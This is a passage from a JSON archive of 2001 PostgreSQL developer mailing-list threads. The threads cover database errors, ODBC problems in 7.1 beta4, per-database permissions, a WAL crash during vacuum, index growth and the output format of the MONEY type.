\"!S=&%R=`H).SL*(\"`J*0H)96-H;R`B57-A9V4Z('!O<W1G\nM<F5S<6P@>W-T87)T?'-T;W!\\<W1A='5S?')E<W1A<G1](@H)97AI=\"`Q\"F5S\n+86,*\"F5X:70@,`H=\n`\nend\n",
"msg_date": "Wed, 31 Jan 2001 11:28:01 -0700",
"msg_from": "\"Barnes, Sandy (Sandra)\" <Sandy.Barnes@Honeywell.com>",
"msg_from_op": true,
"msg_subject": "[HACKERS] ERROR: \"Database 'products', OID nnn, has disappeared\n\tfrom pg_database\""
},
{
"msg_contents": "\"Barnes, Sandy (Sandra)\" <Sandy.Barnes@Honeywell.com> writes:\n>> Normally, this works fine, but sometimes we get the error \n>> \n>> \"Database 'products', OID nnn, has disappeared from pg_database\"\n>> \n>> where nnn is some number, and forever afterwards we can't access a\n>> database with that name. Removing and recreating the database doesn't\n>> help. Neither does vacuuming it.\n\nTry vacuuming pg_database (after connecting to template1 or the other\nalways-there db). 7.1 will be a little smarter about this, but the\nsetup you describe is still pretty risky IMHO. You have a nonvolatile\nreference in pg_database to a volatile database in the RAM filesystem,\nso a system crash will leave you with a dangling reference...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 03 Feb 2001 15:04:21 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] ERROR: \"Database 'products', OID nnn,\n\thas disappeared from pg_database\""
}
] |
[
{
"msg_contents": "A San Francisco company wants to hire a PostgreSQL developer to work on\nimproving the database, and to do some work for the company. I am here\nat LinuxWorld right now with the CIO of the company. \n\nThe candidate should be based in North America for Visa reasons, and\nshould be willing to relocate to the San Francisco area.\n\nIf you are interested, please contact m@axispt.com.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Wed, 31 Jan 2001 15:43:32 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "SF company wants to hire pgsql hacker"
},
{
"msg_contents": "On Wed, 31 Jan 2001, Bruce Momjian wrote:\n\n> A San Francisco company wants to hire a PostgreSQL developer to work on\n> improving the database, and to do some work for the company. I am here\n> at LinuxWorld right now with the CIO of the company.\n>\n> The candidate should be based in North America for Visa reasons, and\n> should be willing to relocate to the San Francisco area.\n\nJust as an appendum, when talking to the gentlemen at the show, he\nindicated to me that Canadian's were welcome to apply, as getting a TN1(?)\nwas relatively easy to acquire, just in case some of the Canadian's were\nautomagically thinking the words \"Visa reasons\" were automatically\nexcluding them as well ...\n\n\n",
"msg_date": "Sat, 3 Feb 2001 10:53:07 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": false,
"msg_subject": "Re: SF company wants to hire pgsql hacker"
}
] |
[
{
"msg_contents": "\nDevelopers,\n\n Pgsql v7.1 beta4\n ODBC v6.50.00.00\n RedHat v6.2\n\n I upgraded from 7.03 to 7.1 beta4 yesterday & see the following problem.\n\nAfter the upgrade, applications like Crystal Reports, MS Query, Brio, etc.\nnow do not see the catalog of tables and fields in the database, login is\nthrough user postgres.\n\nSQL statements sent directly through the ODBC work correctly.\n\nThe pgAdmin utility CAN see the catalog of all of the tables & fields OK\nthrough the same login.\n\nI played with all of the options of the ODBC driver & postgres security &\ncould not find a solution. Also, searched the site for any similar problems\n& found no posts.\n\nCan anyone verify this problem? Any ideas?\n\nThanks for the help,\n\nSteve Shaffer (smshaffer@usa.net)\n\n",
"msg_date": "Wed, 31 Jan 2001 17:58:06 -0500",
"msg_from": "\"Steve Shaffer\" <sxs@coldmetal.com>",
"msg_from_op": true,
"msg_subject": "ODBC Problem v7.1 beta4"
},
{
"msg_contents": "Yes, I have the same problem...\n\npgaccess also can't see any Views...\n\n\n\"Steve Shaffer\" <sxs@coldmetal.com> escreveu nas not�cias de\nmensagem:FOEBLBNAFLOHCILCDCGCOENNCAAA.sxs@coldmetal.com...\n>\n> Developers,\n>\n> Pgsql v7.1 beta4\n> ODBC v6.50.00.00\n> RedHat v6.2\n>\n> I upgraded from 7.03 to 7.1 beta4 yesterday & see the following problem.\n>\n> After the upgrade, applications like Crystal Reports, MS Query, Brio, etc.\n> now do not see the catalog of tables and fields in the database, login is\n> through user postgres.\n>\n> SQL statements sent directly through the ODBC work correctly.\n>\n> The pgAdmin utility CAN see the catalog of all of the tables & fields OK\n> through the same login.\n>\n> I played with all of the options of the ODBC driver & postgres security &\n> could not find a solution. Also, searched the site for any similar\nproblems\n> & found no posts.\n>\n> Can anyone verify this problem? Any ideas?\n>\n> Thanks for the help,\n>\n> Steve Shaffer (smshaffer@usa.net)\n>\n\n\n",
"msg_date": "Tue, 6 Feb 2001 00:33:23 -0200",
"msg_from": "\"Eduardo Stern\" <eduardo@stern.com.br>",
"msg_from_op": false,
"msg_subject": "Re: ODBC Problem v7.1 beta4"
},
{
"msg_contents": "<AOLdummy> Me too ! :-))\n\nSame problem on Debian-unstable + Oliver Elphick's beta4 packages + UnixODBC\n2.0.3\n\nDatabase still can be accessed through ODBC in you don't need the tables list\n: tried from the stats package R through RODBC : sqlTables() fails, sqlQuery()\nworks. So the problem is probably an interface change in pg itself ...\n\nI wrote to Nick Gorham about the ODBC problem. He asks for \"a day or so\" to\ninvestigate ...\n\nOh, BTW : Same problem (no views, some system tables not listed) with PgAccess\n0.98.7. This one is probably related to PgAccess itself : it seems unaware of\nthe \"new and improved\" internal structure ... Select * from pg_views works\n...\u0018\u0013\n\n</AOLdummy>\n\nEduardo Stern wrote:\n> \n> Yes, I have the same problem...\n> \n> pgaccess also can't see any Views...\n> \n> \"Steve Shaffer\" <sxs@coldmetal.com> escreveu nas not�cias de\n> mensagem:FOEBLBNAFLOHCILCDCGCOENNCAAA.sxs@coldmetal.com...\n> >\n> > Developers,\n> >\n> > Pgsql v7.1 beta4\n> > ODBC v6.50.00.00\n> > RedHat v6.2\n> >\n> > I upgraded from 7.03 to 7.1 beta4 yesterday & see the following problem.\n> >\n> > After the upgrade, applications like Crystal Reports, MS Query, Brio, etc.\n> > now do not see the catalog of tables and fields in the database, login is\n> > through user postgres.\n> >\n> > SQL statements sent directly through the ODBC work correctly.\n> >\n> > The pgAdmin utility CAN see the catalog of all of the tables & fields OK\n> > through the same login.\n> >\n> > I played with all of the options of the ODBC driver & postgres security &\n> > could not find a solution. Also, searched the site for any similar\n> problems\n> > & found no posts.\n> >\n> > Can anyone verify this problem? Any ideas?\n> >\n> > Thanks for the help,\n> >\n> > Steve Shaffer (smshaffer@usa.net)\n> >\n\n--\nEmmanuel Charpentier\n",
"msg_date": "Wed, 07 Feb 2001 12:57:44 +0100",
"msg_from": "Emmanuel Charpentier <charpent@bacbuc.dyndns.org>",
"msg_from_op": false,
"msg_subject": "Re: ODBC Problem v7.1 beta4"
},
{
"msg_contents": "\"Steve Shaffer\" <sxs@coldmetal.com> writes:\n> Pgsql v7.1 beta4\n> ODBC v6.50.00.00\n> RedHat v6.2\n\n> I upgraded from 7.03 to 7.1 beta4 yesterday & see the following problem.\n\n> After the upgrade, applications like Crystal Reports, MS Query, Brio, etc.\n> now do not see the catalog of tables and fields in the database, login is\n> through user postgres.\n> SQL statements sent directly through the ODBC work correctly.\n\nGuys, have you learned any more about this?\n\nA useful investigation technique would be to turn on query logging at\nthe backend (eg, restart postmaster with -d2) so that you can see just\nwhat queries are issued while these apps are trying to examine the\nsystem catalogs.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 09 Feb 2001 22:37:18 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: ODBC Problem v7.1 beta4 "
}
] |
[
{
"msg_contents": "MySQL has this feature. I run a multi-user system and require shared MySQL \nAnd PostgreSQL dbs. I have mysql fine. Users have their DBs and can only \naccess their DBs... but theres no real way to do this in Postgres. I can \nrestrict tables, but I can still create tables in other poeples DBs. Maybe \nonly allowed to acess DBs you create or are assigned permission to\n\n--\nMike\n\n\n\n>From: \"Martin A. Marques\" <martin@math.unl.edu.ar>\n>To: Michael Fork <mfork@toledolink.com>\n>CC: pgsql-hackers@postgresql.org, pgsql-general@postgresql.org\n>Subject: Re: Re: grant privileges to a database\n>Date: Wed, 31 Jan 2001 16:41:59 -0300\n>\n>El Mi� 31 Ene 2001 15:53, Michael Fork escribi�:\n> > This is the closest thing to what you want:\n> >\n> > GRANT ALL ON table TO user;\n> >\n> > (see http://www.postgresql.org/users-lounge/docs/7.0/user/sql-grant.htm)\n>\n>Yes, I'm aware of that. That's why I'm asking for an opinion of the\n>developers on this issue.\n>I think it would be a nice feature, so that the postgres user creates the\n>database and gives all kind of permissions on that database to another \n>user,\n>which doesn't have to be able to create databases.\n>\n>Any comments?\n>\n>--\n>System Administration: It's a dirty job,\n>but someone told I had to do it.\n>-----------------------------------------------------------------\n>Mart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\n>Santa Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\n>Administrador de sistemas en math.unl.edu.ar\n>-----------------------------------------------------------------\n\n_________________________________________________________________________\nGet Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.\n\n",
"msg_date": "Thu, 01 Feb 2001 00:23:10 ",
"msg_from": "\"Mike Miller\" <temp6453@hotmail.com>",
"msg_from_op": true,
"msg_subject": "Re: Re: grant privileges to a database [URGENT]"
},
{
"msg_contents": "El Mi� 31 Ene 2001 21:32, Mike Miller escribi�:\n> MySQL has this feature. I run a multi-user system and require shared MySQL\n> And PostgreSQL dbs. I have mysql fine. Users have their DBs and can only\n> access their DBs... but theres no real way to do this in Postgres. I can\n> restrict tables, but I can still create tables in other poeples DBs. Maybe\n> only allowed to acess DBs you create or are assigned permission to\n\nThis is what I'm talking about (sort of) and I find it a handy thing that \ninformix has since at least 1995.\nLets say I have a database server and I create databases for diferent groups \nof people to populate. Thtas what grant dba would be usefull for.\n\nSaludos... :-)\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Thu, 1 Feb 2001 08:26:49 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": false,
"msg_subject": "Re: Re: grant privileges to a database [URGENT]"
},
{
"msg_contents": "On Wed, Jan 31, 2001 at 07:18:12PM -0300, Martin A. Marques wrote:\n> El Mi� 31 Ene 2001 18:32, Dan Wilson escribi�:\n> > GRANT ALL ON table1, table2, table3, view1, view2, sequence1, sequence2 TO\n> > user\n> The problem is that this is not what I'm looking for. I want the user to be \n> able to create new tables, views, sequences, etc on that database.\n\nThis is nbow what people call security. Normaly only the dba (database administrator)\nis allowed to create tables. But everyone can create tables, views and\nsequences. The objects are than only accessible to that user. The user who\ncreated the table has also set the security on that object.\n\nI large company where i work, developers arent allowed to create objects on\nthe database, this because developers make way to soon objects or change\ncurrent tables, so the whole application doesn't work anymore. We have an\nuser 'postgres'. Only 4 people (there are working 72 people here) have the\nssh-key to login as postgres on the database. User postgres is the owner of\nall the objects in every database. User postgres give the proper security\nsettings for each remote user (normaly websites, applications, etc).\n\nI now, i looks bad, but it's really a good thing\n\nDave Mertens\nUnix System Administrator\n\n",
"msg_date": "Thu, 1 Feb 2001 20:39:42 +0000",
"msg_from": "Dave Mertens <dave@redbull.zyprexia.com>",
"msg_from_op": false,
"msg_subject": "Re: Re: Re: grant privileges to a database [URGENT]"
},
{
"msg_contents": "Hello\n\nA few weeks ago I was interested in this question. My results were:\n- Yes, this is a sorrowful but true fact that if you enable access to\n someone to a database, she is automatically enabled to create \n objects in it.\n- Yes, the developers know it, and they said: there is a patch existing\n to workaround it.\n- No, they don't include it in 7.1. The reason: if you use that patch,\n pg_dumpall will not work. If somebody will have the strength in\n him to fix it, than it will be considered to include it in the base.\n\nAfter collecting these informations from more experienced people,\nI calmed down. Since I am in the beginning of creating my project,\nI think for the time when I will need it, it will be ready.\n\nAnyway, I do not know where this patch is. If you don't bother \nabout pg_dumpall, ask a developer (a am only a wannabe developer)\nabout it.\n\nIf anyone detects that I wrote silly things, please do correct me.\n\nBye,\nBaldvin\n\n\n\n\n",
"msg_date": "Mon, 5 Feb 2001 20:13:38 +0100 (MET)",
"msg_from": "Kovacs Baldvin <kb136@hszk.bme.hu>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: Re: grant privileges to a database [URGENT]"
},
{
"msg_contents": "El Lun 05 Feb 2001 16:13, Kovacs Baldvin escribi�:\n> Hello\n>\n> A few weeks ago I was interested in this question. My results were:\n\nI was thinking myself, and thought about this:\ncan't the dba access be controled from the hda.conf file for each database?\n\nSaludos... :-)\n\n\n> - Yes, this is a sorrowful but true fact that if you enable access to\n> someone to a database, she is automatically enabled to create\n> objects in it.\n> - Yes, the developers know it, and they said: there is a patch existing\n> to workaround it.\n> - No, they don't include it in 7.1. The reason: if you use that patch,\n> pg_dumpall will not work. If somebody will have the strength in\n> him to fix it, than it will be considered to include it in the base.\n>\n> After collecting these informations from more experienced people,\n> I calmed down. Since I am in the beginning of creating my project,\n> I think for the time when I will need it, it will be ready.\n>\n> Anyway, I do not know where this patch is. If you don't bother\n> about pg_dumpall, ask a developer (a am only a wannabe developer)\n> about it.\n>\n> If anyone detects that I wrote silly things, please do correct me.\n>\n> Bye,\n> Baldvin\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Mon, 5 Feb 2001 16:52:07 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": false,
"msg_subject": "Re: [HACKERS] Re: Re: grant privileges to a database [URGENT]"
}
] |
[
{
"msg_contents": "Hi,\nduring the nightly vacuum pgsql closed and do not start any more.\nAttached the log.\n\nSeems the problem was rebuilding an Index,\nThere is a way to force wal to ignore indexes ?\nCan I delete it ?\n\nthanks in advance\n\n-------------------------------------------------------\nGiuseppe Tanzilli\t\tg.tanzilli@gruppocsf.com\nCSF Sistemi srl\t\t\tphone ++39 0775 7771\nVia del Ciavattino \nAnagni FR\nItaly",
"msg_date": "Thu, 01 Feb 2001 11:13:49 +0100",
"msg_from": "Giuseppe Tanzilli - CSF <g.tanzilli@gruppocsf.com>",
"msg_from_op": true,
"msg_subject": "WAL Crash during index vacuuming 7.1beta4"
},
{
"msg_contents": "> during the nightly vacuum pgsql closed and do not start any more.\n> Attached the log.\n> \n> Seems the problem was rebuilding an Index,\n> There is a way to force wal to ignore indexes ?\n\nThe problem was in redoing tuple movement in *table*.\n\n> Can I delete it ?\n>\n...\n>\n> DEBUG: redo starts at (6, 4144414796)\n> NOTICE: PageAddItem: tried overwrite of used ItemId\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> FATAL 2: heap_update_redo: failed to add tuple\n\nI think that I've just fixed this problem (must not check itemid'\nflag in PageAddItem in overwrite mode when offset number\n== maxoff + 1). I hope that Giuseppe will check new code soon.\n\nThanks to Giuseppe for help!\n\nVadim\n\n\n",
"msg_date": "Mon, 5 Feb 2001 22:52:38 -0800",
"msg_from": "\"Vadim Mikheev\" <vmikheev@sectorbase.com>",
"msg_from_op": false,
"msg_subject": "Re: WAL Crash during index vacuuming 7.1beta4"
}
] |
[
{
"msg_contents": "I've been using the 7.1 beta version for quite a while now and just upgraded\nto beta 4, I've noticed my application is reporting that the backend shuts\ndown prematurely... (I'm using PHP).. I'm having a time trying to debug\nthis.. I know it's not my code as this works fine on a 7.0.3 install.. I've\nupped my debug level to the max and don't see anything indicating that the\nbackend crashed, so I'm at a loss..\n\nIn the PHP code, I just go to execute a query (after checking to make sure\nthe value returned by pg_connect isn't 0) and I get a PHP warning \"Warning:\n1 is not a valid PostgreSQL link resource in ...\".\n\nI'd like to figure this out, any pointers on what I might be able to do in\nthe backend?\n\nIt seems to be somewhat PHP related because I can take the individual\nqueries and run them in psql just fine.. Are there any known issues in beta4\nthat might cause this kind of thing to happen? Are there any changes that\nanyone can think of that might need to happen to the PHP PostgreSQL support\nfor 7.1? I'd be happy to look into doing making the changes if so..\n\nThanks!!\n\n-Mitch\n\n\n",
"msg_date": "Thu, 1 Feb 2001 10:12:47 -0500",
"msg_from": "\"Mitch Vincent\" <mitch@venux.net>",
"msg_from_op": true,
"msg_subject": "Beta 4 problem(s)"
}
] |
[
{
"msg_contents": "Did you recompile PHP with postgre support after you upgraded?\n\n> -----Original Message-----\n> From:\tMitch Vincent [SMTP:mitch@venux.net]\n> Sent:\tThursday, February 01, 2001 9:13 AM\n> To:\tpgsql-hackers@postgresql.org\n> Subject:\t[HACKERS] Beta 4 problem(s)\n> \n> I've been using the 7.1 beta version for quite a while now and just\n> upgraded\n> to beta 4, I've noticed my application is reporting that the backend shuts\n> down prematurely... (I'm using PHP).. I'm having a time trying to debug\n> this.. I know it's not my code as this works fine on a 7.0.3 install..\n> I've\n> upped my debug level to the max and don't see anything indicating that the\n> backend crashed, so I'm at a loss..\n> \n> In the PHP code, I just go to execute a query (after checking to make sure\n> the value returned by pg_connect isn't 0) and I get a PHP warning\n> \"Warning:\n> 1 is not a valid PostgreSQL link resource in ...\".\n> \n> I'd like to figure this out, any pointers on what I might be able to do in\n> the backend?\n> \n> It seems to be somewhat PHP related because I can take the individual\n> queries and run them in psql just fine.. Are there any known issues in\n> beta4\n> that might cause this kind of thing to happen? Are there any changes that\n> anyone can think of that might need to happen to the PHP PostgreSQL\n> support\n> for 7.1? I'd be happy to look into doing making the changes if so..\n> \n> Thanks!!\n> \n> -Mitch\n> \n",
"msg_date": "Thu, 1 Feb 2001 09:33:06 -0600 ",
"msg_from": "Matthew <matt@ctlno.com>",
"msg_from_op": true,
"msg_subject": "RE: Beta 4 problem(s)"
},
{
"msg_contents": "Yes, I did..\n\n-Mitch\n\n----- Original Message -----\nFrom: \"Matthew\" <matt@ctlno.com>\nTo: \"'Mitch Vincent'\" <mitch@venux.net>; <pgsql-hackers@postgresql.org>\nSent: Thursday, February 01, 2001 10:33 AM\nSubject: RE: [HACKERS] Beta 4 problem(s)\n\n\n> Did you recompile PHP with postgre support after you upgraded?\n>\n> > -----Original Message-----\n> > From: Mitch Vincent [SMTP:mitch@venux.net]\n> > Sent: Thursday, February 01, 2001 9:13 AM\n> > To: pgsql-hackers@postgresql.org\n> > Subject: [HACKERS] Beta 4 problem(s)\n> >\n> > I've been using the 7.1 beta version for quite a while now and just\n> > upgraded\n> > to beta 4, I've noticed my application is reporting that the backend\nshuts\n> > down prematurely... (I'm using PHP).. I'm having a time trying to debug\n> > this.. I know it's not my code as this works fine on a 7.0.3 install..\n> > I've\n> > upped my debug level to the max and don't see anything indicating that\nthe\n> > backend crashed, so I'm at a loss..\n> >\n> > In the PHP code, I just go to execute a query (after checking to make\nsure\n> > the value returned by pg_connect isn't 0) and I get a PHP warning\n> > \"Warning:\n> > 1 is not a valid PostgreSQL link resource in ...\".\n> >\n> > I'd like to figure this out, any pointers on what I might be able to do\nin\n> > the backend?\n> >\n> > It seems to be somewhat PHP related because I can take the individual\n> > queries and run them in psql just fine.. Are there any known issues in\n> > beta4\n> > that might cause this kind of thing to happen? Are there any changes\nthat\n> > anyone can think of that might need to happen to the PHP PostgreSQL\n> > support\n> > for 7.1? I'd be happy to look into doing making the changes if so..\n> >\n> > Thanks!!\n> >\n> > -Mitch\n> >\n>\n\n",
"msg_date": "Thu, 1 Feb 2001 10:57:11 -0500",
"msg_from": "\"Mitch Vincent\" <mitch@venux.net>",
"msg_from_op": false,
"msg_subject": "Re: Beta 4 problem(s)"
}
] |
[
{
"msg_contents": "I'm writing this as a convert from MS-Access to PostgreSQL so whatever\nhappens things are getting better :-)\n\nWhen using M$ Access I took for granted that any time I altered my database,\nI would be able to go back later and revert or alter that table, query,\nconstraint etc so that nothing was set in stone!\n\nFor Example:\nIf I set a field to varchar(20) and then found out it needed to be larger I\ncould go back and easily change that to varchar(30) but this, if you read\nthe documentation is almost impossible, in PostgreSQL as there is no 'Alter\ntable <tablename> alter column .. ' command for attribute sizes BTW (I have\njust found out that this is possible by changing atttypmod in pg_attribute\n:-) Is this safe?).\n\nAlso Foreign keys cannot be deleted easily, Not Null Constraints (or is that\nconstraints in general) cannot be changed, columns cannot be dropped etc.\n\nI know there are ways round these problems: If you go into pg_attribute you\ncan change attnotnull to add or remove Not Null constraints and if all else\nfails you can drop and recreate the table. This then opens another can of\nworms when it comes to rules and triggers. You recreate the table as it\nsays in the docs, but what it does not say is none of your triggers or rules\n(or views I suppose) will work anymore. They need to be recreated because\nthey refer to the OID of the table instead of the table name.\n\nI'm sure there are other examples of this mindset which makes me frustrated\nat PostgreSQL, and I also know that Postgres is a much more capable database\nthan Access will ever be e.g. transactions, MVCC, triggers, rules, views,\nloads of other things, so I am changing the way I work so that I can get the\nbest out of Postgres. I was just trying to point out that to make Postgres\neasier for the simpletons on this planet i.e. myself, could you make it one\nof your priorities to work on some of these probs.\n\nHopefully for 7.2 - 7.3\n\nAnyway\n\nThanks for all the work so far.\n\nBen\n\n\n\n\n\nMore features for the common man!\n\n\nI'm writing this as a convert from MS-Access to PostgreSQL so whatever happens things are getting better :-)\n\nWhen using M$ Access I took for granted that any time I altered my database, I would be able to go back later and revert or alter that table, query, constraint etc so that nothing was set in stone!\nFor Example:\nIf I set a field to varchar(20) and then found out it needed to be larger I could go back and easily change that to varchar(30) but this, if you read the documentation is almost impossible, in PostgreSQL as there is no 'Alter table <tablename> alter column .. ' command for attribute sizes BTW (I have just found out that this is possible by changing atttypmod in pg_attribute :-) Is this safe?).\nAlso Foreign keys cannot be deleted easily, Not Null Constraints (or is that constraints in general) cannot be changed, columns cannot be dropped etc.\nI know there are ways round these problems: If you go into pg_attribute you can change attnotnull to add or remove Not Null constraints and if all else fails you can drop and recreate the table. This then opens another can of worms when it comes to rules and triggers. You recreate the table as it says in the docs, but what it does not say is none of your triggers or rules (or views I suppose) will work anymore. They need to be recreated because they refer to the OID of the table instead of the table name.\nI'm sure there are other examples of this mindset which makes me frustrated at PostgreSQL, and I also know that Postgres is a much more capable database than Access will ever be e.g. transactions, MVCC, triggers, rules, views, loads of other things, so I am changing the way I work so that I can get the best out of Postgres. I was just trying to point out that to make Postgres easier for the simpletons on this planet i.e. myself, could you make it one of your priorities to work on some of these probs.\nHopefully for 7.2 - 7.3\n\nAnyway\n\nThanks for all the work so far.\n\nBen",
"msg_date": "Thu, 1 Feb 2001 19:11:33 -0000 ",
"msg_from": "\"Trewern, Ben\" <Ben.Trewern@mowlem.com>",
"msg_from_op": true,
"msg_subject": "More features for the common man!"
}
] |
[
{
"msg_contents": "After several weeks our idicies grow very large (in one case to\n4-5 gigabytes) After droppping and recreating the indecies they\nshrink back to something more reasonable (500megs same case).\n\nWe are currently using Vadim's vacuum patches for VLAZY and MMNB, \nagainst 7.0.3. We are using a LAZY vacuum on these tables\n\nHowever a normal (non-lazy) vacuum doesn't shrink the index, the\nonly thing that helps reduce the size is dropping and recreating.\n\nIs this a bug in 7.0.3? A possible bug in Vadim's patches? Or is\nthis somewhat expected behavior that we have to cope with?\n\nAs a side note, the space requirement is actually 'ok' it's just\nthat performance gets terrible once the indecies reach such huge\nsizes.\n\n-- \n-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org]\n\"I have the heart of a child; I keep it in a jar on my desk.\"\n",
"msg_date": "Thu, 1 Feb 2001 15:34:26 -0800",
"msg_from": "Alfred Perlstein <bright@wintelcom.net>",
"msg_from_op": true,
"msg_subject": "Index grows huge, possible leakage?"
},
{
"msg_contents": "PostgreSQL hasn't a rewritten storage managent, this is a normal case.\n\nRegards\nXuYifeng\n\n----- Original Message ----- \nFrom: \"Alfred Perlstein\" <bright@wintelcom.net>\nTo: <pgsql-hackers@postgresql.org>\nCc: \"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>\nSent: Friday, February 02, 2001 7:34 AM\nSubject: [HACKERS] Index grows huge, possible leakage?\n\n\n> After several weeks our idicies grow very large (in one case to\n> 4-5 gigabytes) After droppping and recreating the indecies they\n> shrink back to something more reasonable (500megs same case).\n> \n> We are currently using Vadim's vacuum patches for VLAZY and MMNB, \n> against 7.0.3. We are using a LAZY vacuum on these tables\n> \n> However a normal (non-lazy) vacuum doesn't shrink the index, the\n> only thing that helps reduce the size is dropping and recreating.\n> \n> Is this a bug in 7.0.3? A possible bug in Vadim's patches? Or is\n> this somewhat expected behavior that we have to cope with?\n> \n> As a side note, the space requirement is actually 'ok' it's just\n> that performance gets terrible once the indecies reach such huge\n> sizes.\n> \n> -- \n> -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org]\n> \"I have the heart of a child; I keep it in a jar on my desk.\"\n> \n",
"msg_date": "Fri, 2 Feb 2001 11:04:10 +0800",
"msg_from": "\"XuYifeng\" <jamexu@telekbird.com.cn>",
"msg_from_op": false,
"msg_subject": "Re: Index grows huge, possible leakage?"
}
] |
[
{
"msg_contents": "When did the MONEY type change it's output format?\n\nWhile working on the JDBC test suite, Money broke. It seems to output:\n$10.99\n($10.99) for negative values\n\nWhile since ages past, the PGMoney class interprets it as a number (no currency \nsymbol).\n\nPeter\n\n-- \nPeter Mount peter@retep.org.uk\nPostgreSQL JDBC Driver: http://www.retep.org.uk/postgres/\nRetepPDF PDF library for Java: http://www.retep.org.uk/pdf/\n",
"msg_date": "Fri, 02 Feb 2001 04:03:55 -0500 (EST)",
"msg_from": "Peter T Mount <peter@retep.org.uk>",
"msg_from_op": true,
"msg_subject": "Format of the Money field"
},
{
"msg_contents": "On Fri, 2 Feb 2001, Peter T Mount wrote:\n\n> When did the MONEY type change it's output format?\n>\n> While working on the JDBC test suite, Money broke. It seems to output:\n> $10.99\n> ($10.99) for negative values\n>\n> While since ages past, the PGMoney class interprets it as a number (no\n> currency symbol).\n\nLooking over at Thomas and asking him, his recollection is that it always\nhad the currency symbol ... but he's not 100% certain about that ...\n\nCan you confirm with the 7.0.3 server?\n\n\n",
"msg_date": "Fri, 2 Feb 2001 12:55:05 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": false,
"msg_subject": "Re: Format of the Money field"
},
{
"msg_contents": "hhs=> select version();\nversion\n-------------------------------------------------------------------\nPostgreSQL 6.4.2 on i386-unknown-freebsd3.1, compiled by gcc 2.7.2.\n\n| currentsalary | money |\n4 |\n\nhhs=> select currentsalary from applicants;\n\n$77,000.00\n$43,500.00\n$0.00\n$93,000.00\n...\n\n If it changed, it looks like it changed a long time ago! :-)\n\n-Mitch\n\n\n----- Original Message -----\nFrom: \"The Hermit Hacker\" <scrappy@hub.org>\nTo: \"Peter T Mount\" <peter@retep.org.uk>\nCc: <pgsql-hackers@postgresql.org>\nSent: Friday, February 02, 2001 11:55 AM\nSubject: Re: Format of the Money field\n\n\n> On Fri, 2 Feb 2001, Peter T Mount wrote:\n>\n> > When did the MONEY type change it's output format?\n> >\n> > While working on the JDBC test suite, Money broke. It seems to output:\n> > $10.99\n> > ($10.99) for negative values\n> >\n> > While since ages past, the PGMoney class interprets it as a number (no\n> > currency symbol).\n>\n> Looking over at Thomas and asking him, his recollection is that it always\n> had the currency symbol ... but he's not 100% certain about that ...\n>\n> Can you confirm with the 7.0.3 server?\n>\n>\n>\n\n",
"msg_date": "Fri, 2 Feb 2001 12:07:20 -0500",
"msg_from": "\"Mitch Vincent\" <mitch@venux.net>",
"msg_from_op": false,
"msg_subject": "Re: Format of the Money field"
},
{
"msg_contents": "At 12:07 02/02/01 -0500, Mitch Vincent wrote:\n\n>hhs=> select version();\n>version\n>-------------------------------------------------------------------\n>PostgreSQL 6.4.2 on i386-unknown-freebsd3.1, compiled by gcc 2.7.2.\n\n[snip]\n\n\n> If it changed, it looks like it changed a long time ago! :-)\n\nHmm, shows how many people use Money via JDBC then, as no one's reported it \nbefore. I only found out while testing JBuilder's interaction with the JDBC \ndriver.\n\nPeter\n\n>-Mitch\n>\n>\n>----- Original Message -----\n>From: \"The Hermit Hacker\" <scrappy@hub.org>\n>To: \"Peter T Mount\" <peter@retep.org.uk>\n>Cc: <pgsql-hackers@postgresql.org>\n>Sent: Friday, February 02, 2001 11:55 AM\n>Subject: Re: Format of the Money field\n>\n>\n> > On Fri, 2 Feb 2001, Peter T Mount wrote:\n> >\n> > > When did the MONEY type change it's output format?\n> > >\n> > > While working on the JDBC test suite, Money broke. It seems to output:\n> > > $10.99\n> > > ($10.99) for negative values\n> > >\n> > > While since ages past, the PGMoney class interprets it as a number (no\n> > > currency symbol).\n> >\n> > Looking over at Thomas and asking him, his recollection is that it always\n> > had the currency symbol ... but he's not 100% certain about that ...\n> >\n> > Can you confirm with the 7.0.3 server?\n> >\n> >\n> >\n\n",
"msg_date": "Sat, 03 Feb 2001 10:50:39 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: Format of the Money field"
},
{
